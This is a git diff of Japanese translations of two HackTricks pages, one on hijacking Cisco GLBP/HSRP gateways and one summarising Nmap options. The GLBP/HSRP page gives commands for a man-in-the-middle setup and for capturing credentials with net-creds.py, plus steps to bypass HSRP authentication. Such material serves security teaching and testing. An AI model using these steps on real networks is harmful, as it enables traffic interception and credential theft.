* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[@carlospolopm](https://twitter.com/hacktricks_live)**。**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
</details>

View file

@ -1,65 +1,66 @@
# GLBP & HSRP 攻撃
# GLBP & HSRP Attacks
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
HackTricksをサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけ
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローする
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## FHRP ハイジャッキング概要
### FHRP の洞察
FHRP は、複数のルーターを単一の仮想ユニットに統合することで、ネットワークの堅牢性を提供し、負荷分散と障害耐性を向上させるために設計されています。Cisco Systems は、GLBP や HSRP などの優れたプロトコルをこのスイートで導入しました。
## FHRPハイジャッキング概要
### GLBP プロトコルの洞察
Cisco の創造物である GLBP は、TCP/IP スタック上で機能し、通信にはポート3222でUDPを使用します。GLBP グループ内のルーターは、3秒ごとに "hello" パケットを交換します。ルーターがこれらのパケットを10秒間送信しない場合、オフラインと見なされます。ただし、これらのタイマーは固定されておらず、変更可能です
### FHRPについての洞察
FHRPは、複数のルータを1つの仮想ユニットに統合することで、ネットワークの堅牢性を提供するよう設計されており、負荷分散と障害耐性を向上させます。Cisco Systemsは、GLBPやHSRPなどの優れたプロトコルをこのスイートで導入しました
### GLBP の動作と負荷分散
GLBP は、単一の仮想IPと複数の仮想MACアドレスを使用して、ルーター間で負荷を分散することで際立っています。GLBP グループでは、すべてのルーターがパケットの転送に関与します。HSRP/VRRP とは異なり、GLBP は次のメカニズムを通じて本物の負荷分散を提供します:
### GLBPプロトコルの洞察
Ciscoの創造物であるGLBPは、TCP/IPスタック上で機能し、通信にはUDPポート3222を使用します。GLBPグループ内のルータは、3秒ごとに「hello」パケットを交換します。ルータがこれらのパケットを10秒間送信しない場合、オフラインと見なされます。ただし、これらのタイマーは固定されておらず、変更可能です。
- **ホスト依存型負荷分散:** ホストに一貫した AVF MAC アドレスの割り当てを維持し、安定した NAT 構成に不可欠です。
- **ラウンドロビン負荷分散:** リクエストするホスト間で AVF MAC アドレスの割り当てを交互に行うデフォルトのアプローチ。
- **重み付きラウンドロビン負荷分散:** 事前に定義された "重み" メトリクスに基づいて負荷を分散します。
### GLBPの動作と負荷分散
GLBPは、1つの仮想IPと複数の仮想MACアドレスを使用して、ルータ間で負荷を分散することができるため、際立っています。GLBPグループでは、すべてのルータがパケットの転送に関与します。HSRP/VRRPとは異なり、GLBPは次のメカニズムを通じて本物の負荷分散を提供します
### GLBP における主要なコンポーネントと用語
- **AVGActive Virtual Gateway:** MAC アドレスをピアルーターに割り当てる責任を持つメインルーター。
- **AVFActive Virtual Forwarder:** ネットワークトラフィックを管理するために指定されたルーター。
- **GLBP 優先度:** AVG を決定するメトリクスで、デフォルト値は100で、1から255の範囲で変更可能です。
- **GLBP 重み:** ルーター上の現在の負荷を反映し、手動で調整するか、オブジェクトトラッキングを介して調整可能です。
- **GLBP 仮想IPアドレス:** 接続されたすべてのデバイスのデフォルトゲートウェイとして機能します。
- **ホスト依存型負荷分散:** ホストに一貫したAVF MACアドレスを割り当て、安定したNAT構成に不可欠です。
- **ラウンドロビン負荷分散:** リクエストするホスト間でAVF MACアドレスの割り当てを交互に行うデフォルトのアプローチ。
- **重み付きラウンドロビン負荷分散:** 事前に定義された「重み」メトリクスに基づいて負荷を分散します。
GLBP では、予約されたマルチキャストアドレス224.0.0.102 と UDP ポート3222 を使用して相互作用します。ルーターは3秒ごとに "hello" パケットを送信し、パケットが10秒間欠落した場合は非稼働と見なされます。
### GLBPの主要なコンポーネントと用語
- **AVGActive Virtual Gateway** MACアドレスをピアルータに割り当てる責任があるメインルータ。
- **AVFActive Virtual Forwarder** ネットワークトラフィックを管理するために指定されたルータ。
- **GLBP優先度** AVGを決定するメトリクスで、デフォルトは100から255までの範囲で始まります。
- **GLBP重み** ルータ上の現在の負荷を反映し、手動で調整するか、オブジェクトトラッキングを介して調整できます。
- **GLBP仮想IPアドレス** 接続されたすべてのデバイスのデフォルトゲートウェイとして機能します。
### GLBP 攻撃メカニズム
攻撃者は、最も高い優先度値255を持つ GLBP パケットを送信することで、主要ルーターになることができます。これにより、DoS または MITM 攻撃が可能となり、トラフィックの傍受やリダイレクトが可能となります。
GLBPでは、予約されたマルチキャストアドレス224.0.0.102とUDPポート3222を使用して相互作用します。ルータは3秒ごとに「hello」パケットを送信し、パケットが10秒間欠落した場合は非稼働と見なされます。
### Loki を使用した GLBP 攻撃の実行
[Loki](https://github.com/raizo62/loki_on_kali) は、優先度と重みが255に設定されたパケットを注入することで GLBP 攻撃を実行できます。攻撃前の手順には、Wireshark のようなツールを使用して、仮想IPアドレス、認証の有無、およびルーターの優先度値などの情報を収集することが含まれます。
### GLBP攻撃メカニズム
攻撃者は、最も高い優先度値255を持つGLBPパケットを送信することで、主要ルータになることができます。これにより、DoSやMITM攻撃が可能となり、トラフィックの傍受やリダイレクトが可能となります。
攻撃手順:
1. プロミスキャスモードに切り替えて IP フォワーディングを有効にします。
2. ターゲットルーターを特定し、そのIPを取得します。
3. Gratuitous ARP を生成します。
4. AVG をなりすまして悪意のある GLBP パケットを注入します。
5. 攻撃者のネットワークインターフェイスにセカンダリIPアドレスを割り当て、GLBP 仮想IPを反映させます。
6. 完全なトラフィックの可視性のために SNAT を実装します。
7. インターネットアクセスを元の AVG ルーターを介して継続するようにルーティングを調整します。
### Lokiを使用したGLBP攻撃の実行
[Loki](https://github.com/raizo62/loki_on_kali)は、優先度と重みが255に設定されたパケットを注入することでGLBP攻撃を実行できます。攻撃前の手順には、Wiresharkなどのツールを使用して、仮想IPアドレス、認証の有無、およびルータの優先度値などの情報を収集することが含まれます。
これらの手順に従うことで、攻撃者は自分自身を「中間者」として配置し、暗号化されていないまたは機密性の高いデータを含むネットワークトラフィックを傍受および分析することができます。
攻撃手順:
1. プロミスキャスモードに切り替えてIPフォワーディングを有効にします。
2. ターゲットルータを特定し、そのIPを取得します。
3. Gratuitous ARPを生成します。
4. AVGをなりすまして悪意のあるGLBPパケットを注入します。
5. 攻撃者のネットワークインターフェースにセカンダリIPアドレスを割り当て、GLBP仮想IPを反映させます。
6. 完全なトラフィックの可視性のためにSNATを実装します。
7. インターネットアクセスを元のAVGルータを介して継続するようにルーティングを調整します。
デモンストレーションのために、必要なコマンドスニペットを以下に示します:
これらの手順に従うことで、攻撃者は自分自身を「中間者」として配置し、暗号化されていないまたは機密性の高いデータを含むネットワークトラフィックを傍受および分析できます。
デモンストレーションのために、必要なコマンドスニペットを以下に示します:
```bash
# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
@ -76,12 +77,12 @@ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
### HSRPハイジャックのパッシブな説明とコマンドの詳細
#### HSRPHot Standby Router/Redundancy Protocolの概要
HSRPは、ネットワークゲートウェイの冗長性のために設計されたCisco独自のプロトコルです。複数の物理ルータを1つの論理ユニットに構成し、共有IPアドレスを持つことができます。この論理ユニットは、トラフィックを管理するための責任を持つプライマリルータによって管理されます。GLBPが優先度や重みなどのメトリクスを使用して負荷分散を行うのに対し、HSRPはトラフィック管理に単一のアクティブルータを使用します。
HSRPは、ネットワークゲートウェイの冗長性のために設計されたCisco独自のプロトコルです。複数の物理ルータを1つの論理ユニットに構成し、共有IPアドレスを持つことができます。この論理ユニットは、トラフィックを管理するための指示を行う主要ルータによって管理されます。GLBPが優先度や重みなどのメトリクスを使用して負荷分散を行うのに対し、HSRPはトラフィック管理に単一のアクティブルータを使用します。
#### HSRP役割と用語
#### HSRPにおける役割と用語
- **HSRPアクティブルータ**: トラフィックフローを管理するゲートウェイとして機能するデバイス。
- **HSRPスタンバイルータ**: アクティブルータが故障した場合に引き継ぐ準備ができたバックアップルータ。
- **HSRPグループ**: 単一の強な仮想ルータを形成するために協力するルータのセット。
- **HSRPグループ**: 単一の強な仮想ルータを形成するために協力するルータのセット。
- **HSRP MACアドレス**: HSRPセットアップ内の論理ルータに割り当てられた仮想MACアドレス。
- **HSRP仮想IPアドレス**: 接続されたデバイスのデフォルトゲートウェイとして機能するHSRPグループの仮想IPアドレス。
@ -89,7 +90,7 @@ HSRPは、ネットワークゲートウェイの冗長性のために設計さ
HSRPには、HSRPv1とHSRPv2の2つのバージョンがあり、主にグループ容量、マルチキャストIPの使用、および仮想MACアドレス構造が異なります。プロトコルは、サービス情報の交換に特定のマルチキャストIPアドレスを使用し、Helloパケットは3秒ごとに送信されます。パケットが10秒間受信されない場合、ルータは非アクティブと見なされます。
#### HSRP攻撃メカニズム
HSRP攻撃は、最大優先度値を注入してアクティブルータの役割を強制的に引き継ぐことを含みます。これにより、中間者攻撃MITMが発生する可能性があります。攻撃前の重要なステップには、HSRPセットアップに関するデータを収集することが含まれます。これは、Wiresharkを使用してトラフィックを分析することで行うことができます。
HSRP攻撃は、最大優先度値を注入することでアクティブルータの役割を強制的に引き継ぐことを含みます。これにより、中間者攻撃MITMが発生する可能性があります。攻撃前の重要なステップには、HSRPセットアップに関するデータを収集することが含まれ、Wiresharkを使用してトラフィックの分析を行うことができます。
#### HSRP認証のバイパス手順
1. HSRPデータを含むネットワークトラフィックを.pcapファイルとして保存します。
@ -124,7 +125,7 @@ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
```
6. 傍受したトラフィックから資格情報をキャプチャするためにnet-creds.py類似のユーティリティを使用します。
6. 傍受したトラフィックから資格情報をキャプチャするためにnet-creds.pyまたは類似のユーティリティを使用します。
```shell
sudo python2 net-creds.py -i eth0
```

View file

@ -1,20 +1,20 @@
# Nmap サマリーESP
# Nmap Summary (ESP)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
HackTricksをサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローする**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローする。**
* **ハッキングトリックを共有する、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
```
@ -22,26 +22,26 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
```
## パラメータ
### スキャンするIP
### スキャンするIPアドレス
* **`<ip>,<net/mask>`:** 直接IPを示す
* **`<ip>,<net/mask>`:** 直接IPを指定
* **`-iL <ips_file>`:** IPリスト
* **`-iR <number>`**: ランダムなIPの数、`--exclude <Ips>`または`--excludefile <file>`で除外できる
* **`-iR <number>`**: ランダムなIPの数、`--exclude <Ips>``--excludefile <file>` で除外可能
### 機器の発見
デフォルトでは、Nmapは次のような発見フェーズを実行します: `-PA80 -PS443 -PE -PP`
デフォルトでは、Nmapは次のフェーズを起動します: `-PA80 -PS443 -PE -PP`
* **`-sL`**: 侵入しないで、ターゲットをリストアップし、名前を解決するためのDNSリクエストを行います。たとえば、www.prueba.es/24のすべてのIPがターゲットであるかどうかを知るのに役立ちます。
* **`-Pn`**: ピングなし。すべてがアクティブであることを知っている場合に便利です(そうでない場合、多くの時間を無駄にする可能性がありますが、このオプションはアクティブでないと言って誤った否定を生じます)、発見フェーズを防止します。
* **`-sn`** : ポートスキャンなし。偵察フェーズを完了した後、ポートをスキャンしません。比較的ステルシーで、小規模なネットワークスキャンを許可します。特権を持っている場合、80にACK(-PA)、443にSYN(-PS)、エコーリクエストとタイムスタンプリクエストを送信し、特権を持っていない場合は常に接続を完了します。ターゲットがネットワークの場合、ARP(-PR)のみを使用します。他のオプションと併用する場合、他のオプションのパケットのみが破棄されます。
* **`-PR`**: ARPへのPING。ネットワーク内のコンピュータを分析する際には、PINGを使用するよりも高速です。ARPパケットを使用したくない場合は、`--send-ip`を使用します。
* **`-PS <ports>`**: SYNパケットを送信し、SYN/ACKで応答するとオープンです接続を終了しないようにRSTで応答します、RSTで応答すると閉じており、応答がない場合は到達不能です。特権を持っていない場合、自動的に合計接続が使用されます。ポートが指定されていない場合、80に送信されます。
* **`-sL`**: 侵入しないで、名前を解決するためにDNSリクエストを行い、ターゲットをリストアップします。例えば、www.prueba.es/24のすべてのIPがターゲットであるかどうかを知るのに役立ちます。
* **`-Pn`**: ピングなし。すべてがアクティブであることを知っている場合に便利です(そうでない場合、多くの時間を無駄にする可能性がありますが、このオプションはアクティブでないと言って誤った否定を生じます)、発見フェーを防止します。
* **`-sn`** : ポートスキャンなし。偵察フェーを完了した後、ポートをスキャンしません。比較的ステルシーで、小規模なネットワークスキャンを許可します。特権を持っている場合、80にACK(-PA)、443にSYN(-PS)、エコーリクエストとタイムスタンプリクエストを送信し、特権を持っていない場合は常に接続を完了します。ターゲットがネットワークの場合、ARP(-PR)のみを使用します。他のオプションと併用する場合、他のオプションのパケットのみが破棄されます。
* **`-PR`**: ARP ping。ネットワーク内のコンピュータを分析する際には、通常、ARPパケットを使用するよりも高速です。ARPパケットを使用したくない場合は、`--send-ip`を使用します。
* **`-PS <ports>`**: SYNパケットを送信し、SYN/ACKで応答すれば開いている接続を終了させないようにRSTで応答、RSTで応答すれば閉じており、応答がない場合は到達不能です。特権を持っていない場合、自動的に接続が使用されます。ポートが指定されていない場合、80に送信されます。
* **`-PA <ports>`**: 前述のものと同様ですが、ACKを使用し、両方を組み合わせるとより良い結果が得られます。
* **`-PU <ports>`**: 目的は逆で、閉じていると予想されるポートに送信されます。一部のファイアウォールはTCP接続のみをチェックします。閉じている場合はポート到達不能で応答され、他のicmpで応答されるか、応答がない場合は宛先到達不能となります。
* **`-PU <ports>`**: 目的は逆で、閉じていると予想されるポートに送信されます。一部のファイアウォールはTCP接続のみをチェックします。閉じている場合はポート到達不能で応答され、他のICMPで応答されるか、応答がない場合は宛先到達不能となります。
* **`-PE, -PP, -PM`** : ICMP PINGS: エコーリプライ、タイムスタンプ、アドレスマスク。ターゲットがアクティブかどうかを調べるために送信されます。
* **`-PY<ports>`**: デフォルトでは80にSCTP INITプローブを送信し、INIT-ACK(オープン)またはABORT(閉じている)または何も応答しないか、ICMP到達不能(非アクティブ)が返される可能性があります。
* **`-PO <protocols>`**: ヘッダーにプロトコルが指定されます。ICMP、IGMP、TCP(6)、UDP(17)プロトコルの場合、プロトコルヘッダーが送信され、それ以外の場合はIPヘッダーのみが送信されます。これは、ヘッダーの不正形式により、プロトコルが到達不能または同じプロトコルの応答が返されることで、ターゲットがアップかどうかを知るために使用されます。
* **`-PY<ports>`**: デフォルトでは80にSCTP INITプローブを送信し、INIT-ACK(開いている)またはABORT(閉じている)または何も応答しないか、ICMP到達不能(非アクティブ)で応答される可能性があります。
* **`-PO <protocols>`**: ヘッダーにプロトコルが指定され、デフォルトでは1(ICMP)、2(IGMP)、4(Encap IP)。 ICMP、IGMP、TCP(6)、UDP(17)プロトコルの場合、プロトコルヘッダーが送信され、それ以外の場合はIPヘッダーのみが送信されます。これは、ヘッダーの不正行為により、プロトコルが到達不能または同じプロトコルの応答が返されることで、ターゲットがアクティブかどうかを知るために応答されます。
* **`-n`**: DNSなし
* **`-R`**: 常にDNS
@ -49,28 +49,28 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
* **`-sS`**: 接続を完了しないため、痕跡を残しません。使用可能な場合非常に優れています(特権)。デフォルトで使用されるものです。
* **`-sT`**: 接続を完了するため、痕跡を残しますが、確実に使用することができます。特権なしの場合はデフォルトです。
* **`-sU`**: より遅い、UDP用。主に: DNS(53)、SNMP(161,162)、DHCP(67および68)、(-sU53,161,162,67,68): オープン(応答)、閉じている(ポート到達不能)、フィルタリング(他のICMP)、オープン/フィルタリング(何もなし)。オープン/フィルタリングの場合、-sVは、nmapがサポートするバージョンのいずれかを検出できるように多数のリクエストを送信します。時間がかかります。
* **`-sY`**: SCTPプロトコルは接続を確立できず、したがってログが残りません。-PYと同様に機能します。
* **`-sN,-sX,-sF`:** Null、Fin、Xmas、いくつかのファイアウォールを貫通し、情報を抽出できます。標準に準拠したマシンは、SYN、RST、ACKフラグがないリクエストにはすべてRSTで応答するはずであることに基づいています: オープン/フィルタリング(何もなし)、閉じている(RST)、フィルタリング(ICMP到達不能)。Windows、CIsco、BSDI、OS/400では信頼性がありません。UNIXでははい。
* **`-sM`**: Maimonスキャン: FINACKフラグを送信し、現在はすべてを閉じて返します。
* **`-sA, sW`**: ACKWindow、ファイアウォールを検出し、ポートがフィルタリングされているかどうかを知るために使用されます。-sWはオープン/閉じているを区別します。オープンは(ウィンドウが0以外の)RSTで応答し、閉じているは(RSTウィンドウ=0)、フィルタリングは(ICMP到達不能または何もなし)で応答します。すべてのコンピュータがこの方法で動作するわけではないため、すべて閉じている場合は動作していないこと、いくつかがオープンの場合は正常に動作していること、多くがオープンで少数が閉じている場合は逆に動作していることを知ることができます。
* **`-sI`:** アイドルスキャン。アクティブなファイアウォールがある場合でも、特定のIPにフィルタリングされていないことを知っている場合または単に匿名性を望む場合、ゾンビスキャナーを使用して、可能なゾンビを探すことができます。スクリプトipidseqまたはexploit auxiliary/scanner/ip/ipidseqを使用して、ゾンビを探すことができます。このスキャナーは、IPパケットのIPID番号に基づいています。
* **`-sU`**: UDP用に遅い。主に: DNS(53)、SNMP(161,162)、DHCP(67および68)、(-sU53,161,162,67,68): 開いている(応答)、閉じている(ポート到達不能)、フィルタリングされている(他のICMP)、開いている/フィルタリングされている(何もなし)。開いている/フィルタリングされている場合、-sVは、nmapがサポートするバージョンのいずれかを検出し、真の状態を検出できるように多数のリクエストを送信します。時間がかなりかかります。
* **`-sY`**: SCTPプロトコルは接続を確立できず、したがってログがないため、-PYのように機能します。
* **`-sN,-sX,-sF`:** Null、Fin、Xmas、いくつかのファイアウォールを貫通し、情報を抽出できます。標準に準拠したマシンは、SYN、RST、ACKフラグが上がっていないリクエストにはすべてRSTで応答するはずであることに基づいています: 開いている/フィルタリングされている(何もなし)、閉じている(RST)、フィルタリングされている(ICMP到達不能)。Windows、CIsco、BSDI、OS/400では信頼性がありません。UNIXでははい。
* **`-sM`**: Maimonスキャン: FINおよびACKフラグを送信し、現在はすべてを閉じて返します。
* **`-sA, sW`**: ACKおよびWindow、ファイアウォールを検出し、ポートがフィルタリングされているかどうかを知るために使用されます。-sWは、開いているものが異なるウィンドウ値で応答するため、開いている/閉じているを区別します: 開いている(RST ウィンドウが0以外)、閉じている(RST ウィンドウ = 0)、フィルタリングされている(ICMP到達不能または何もなし)。すべてのコンピュータがこの方法で動作するわけではないため、すべてが閉じている場合は動作していないこと、いくつかが開いている場合は正常に動作していること、多くが開いていて閉じているものが少ない場合は逆に動作していることを知ることができます。
* **`-sI`:** アイドルスキャン。アクティブなファイアウォールがある場合、特定のIPにフィルタリングされていないことを知っている場合または単に匿名性を望む場合、ゾンビスキャナーを使用して、可能なゾンビを探すことができますすべてのポートに対して機能します。ゾンビを見つけるためには、ipidseqスクリプトまたはexploit auxiliary/scanner/ip/ipidseqを使用できます。このスキャナーは、IPパケットのIPID番号に基づいています。
* **`--badsum`:** サムを誤って送信し、コンピュータはパケットを破棄しますが、ファイアウォールは何かを返信する可能性があります。ファイアウォールを検出するために使用されます。
* **`-sZ`:** "奇妙な" SCTPスキャナー、cookie echo fragmentsを送信すると、オープンの場合は破棄されるか、閉じている場合はABORTで応答されるはずです。initを通過できないファイアウォールを通過することができますが、フィルタリングされたものとオープンなものを区別しません。
* **`-sO`:** プロトコルIPスキャン。時々プロトコルさえ区別できない空のヘッダーを送信します。ICMP到達不能プロトコルが到着した場合は閉じており、到達不能ポートが到着した場合はオープンです。他のエラーが到着した場合はフィルタリングされ、何も到着しない場合はオープン|フィルタリングです。
* **`-b <server>`:** FTPhost--> 他のホストからホストをスキャンするために使用され、他のマシンのFTPに接続して、他のマシンからスキャンしたいポートにファイルを送信するように要求します。応答に基づいて、ポートが開いているかどうかを知ることができます。\[\<user>:\<password>@]\<server>\[:\<port>] ほとんどのFTPサーバーはこれを許可しなくなっているため、実用的な用途はほとんどありません。
* **`-sZ`:** "奇妙"なSCTPスキャナーで、クッキーエコーフラグメントを送信すると、開いている場合は破棄されるか、閉じている場合はABORTで応答されるはずです。initを通過できないファイアウォールを通過することができますが、フィルタリングされたものと開いているものを区別することはできません。
* **`-sO`:** プロトコルIPスキャン。時々プロトコルさえ区別できない空のヘッダーを送信します。ICMP到達不能プロトコルが到着した場合は閉じており、到達不能ポートが到着した場合は開いており、他のエラーが到着した場合はフィルタリングされており、何も到着しない場合は開いている|フィルタリングされています。
* **`-b <server>`:** FTPhost--> 他のホストからホストをスキャンするために使用され、他のマシンのFTPに接続して、他のマシンからスキャンしたいポートにファイルを送信するように要求します。応答に応じて、それらが開いているかどうかを知ることができます。 \[\<user>:\<password>@]\<server>\[:\<port>] ほとんどのFTPサーバーはこれを許可しなくなっているため、実用的な用途はほとんありません。
### 分析を中心に置く
### **分析を中心に**
**-p:** スキャンするポートを指定するために使用されます。65335を選択するには: **-p-** または **-p all**。Nmapには、人気に応じた内部分類があります。デフォルトでは、主要な1000ポートを使用します。**-F** (高速スキャン) では、主要な100ポートを分析します。**--top-ports \<numero>** 指定された数の主要なポートを分析します1から65335まで。ポートをランダムな順序でチェックするためには、**-r** を使用します。また、ポートを選択することもできます: 20-30,80,443,1024- これは1024以降をチェックすることを意味します。また、ポートをプロトコル別にグループ化することもできます: U:53,T:21-25,80,139,S:9。Nmapの一般的なポート範囲から選択することもできます: -p \[-1024] nmap-servicesに含まれるポート1024までを分析します。**--port-ratio \<ratio>** 指定された比率の一般的なポートを分析します。比率は0から1の間でなければなりません。
**-p:** スキャンするポートを指定するために使用されます。65335を選択するには: **-p-** または **-p all**。 Nmapには、その人気に応じた内部分類があります。デフォルトでは、主要な1000を使用します。 **-F** (高速スキャン) では、主要な100を分析します。 **--top-ports \<numero>** 指定された数の主要なポートを分析します1から65335まで。ポートはランダムな順序で確認されるため、これを回避するには **-r** を使用します。また、ポートを選択することもできます: 20-30,80,443,1024- これは1024以降をることを意味します。また、ポートをプロトコル別にグループ化することもできます: U:53,T:21-25,80,139,S:9。 Nmapの一般的なポート範囲からポートを選択することもできます: -p \[-1024] nmap-servicesに含まれる1024までを分析します。 **--port-ratio \<ratio>** 指定された比率の最も一般的なポートを分析します。比率は0から1の間でなければなりません。
**-sV** バージョンスキャン、強度を0から9まで調整できます。デフォルトは7です。
**--version-intensity \<numero>** 強度を調整でき、より低い値では最も可能性の高い調査だけを実行しますが、すべてを実行しません。これにより、UDPスキャンの時間を大幅に短縮できます。
**--version-intensity \<numero>** 強度を調整でき、低いほど最も可能性の高いソンドだけを送信しますが、すべてを送信しません。これにより、UDPのスキャン時間を大幅に短縮できます。
**-O** OSの検出
**--osscan-limit** ホストを適切にスキャンするには、少なくとも1つのポートが開いており、もう1つのポートが閉じている必要があります。この条件が満たされていない場合、このオプションを設定している場合、OSの予測を試みず、時間を節約します。
**--osscan-limit** ホストを適切にスキャンするには、少なくとも1つのポートが開いており、もう1つ
**--osscan-guess** OS検出が完璧でない場合、より多くの努力が必要になります。
**スクリプト**
@ -97,9 +97,9 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
**nmap --script-help="not intrusive" -> それ以外のすべて**
**nmap --script-help="default or safe" -> どちらかまたは両方にあるもの**
**nmap --script-help="default or safe" -> どちらかのスクリプトまたは両方に含まれるもの**
**nmap --script-help="default and safe" --> 両方にるもの**
**nmap --script-help="default and safe" --> 両方に含まれるもの**
**nmap --script-help="(default or safe or intrusive) and not http-\*"**
@ -109,41 +109,41 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
\--script-help _\<filename>_|_\<category>_|_\<directory>_|_\<expression>_|all\[,...]
\--script-trace ---> スクリプトの進行状況を表示します
\--script-trace ---> スクリプトの進行状況を表示
\--script-updatedb
**スクリプトを使用するには、単に次のように入力します: namp --script ScriptName target** --> スクリプトを入力すると、スクリプトとスキャナーの両方が実行されます。スキャナーのオプションも指定できます。安全なもののみを実行するには、**"safe=1"** を追加できます。
**スクリプトを使用するには、単に次のように入力します: namp --script Script_Name target** --> スクリプトを指定すると、スクリプトとスキャナーの両方が実行されます。スキャナーのオプションも指定できます。安全なスクリプトのみを実行するには、**"safe=1"** を追加できます。
**時間制御**
**Nmapは秒、分、ミリ秒で時間を変更できます:** --host-timeout arguments 900000ms、900、900s、15m はすべて同じです。
Nmapはスキャンするホストの総数をグループに分割し、それらのグループをブロックごとに分析します。すべてのグループが分析されるまで次のブロックには移動せずユーザーにはブロックが分析されるまで更新が表示されません、Nmapにとっては大きなグループを使用する方が効率的です。デフォルトでは、クラスCでは256を使用します。
Nmapはスキャンするホストの総数をグループに分割し、それらのグループをブロックごとに分析します。すべてのグループが分析されるまで次のブロックには移動せずユーザーにもブロックが分析されるまでの更新が送信されません、Nmapにとっては大きなグループを使用する方が効率的です。デフォルトでは、クラスCでは256を使用します。
変更できます\*\*--min-hostgroup\*\* _**\<numhosts>**_**;** **--max-hostgroup** _**\<numhosts>**_(並列スキャングループのサイズを調整)
変更できるオプション\*\*--min-hostgroup\*\* _**\<numhosts>**_**;** **--max-hostgroup** _**\<numhosts>**_(並列スキャングループのサイズを調整)
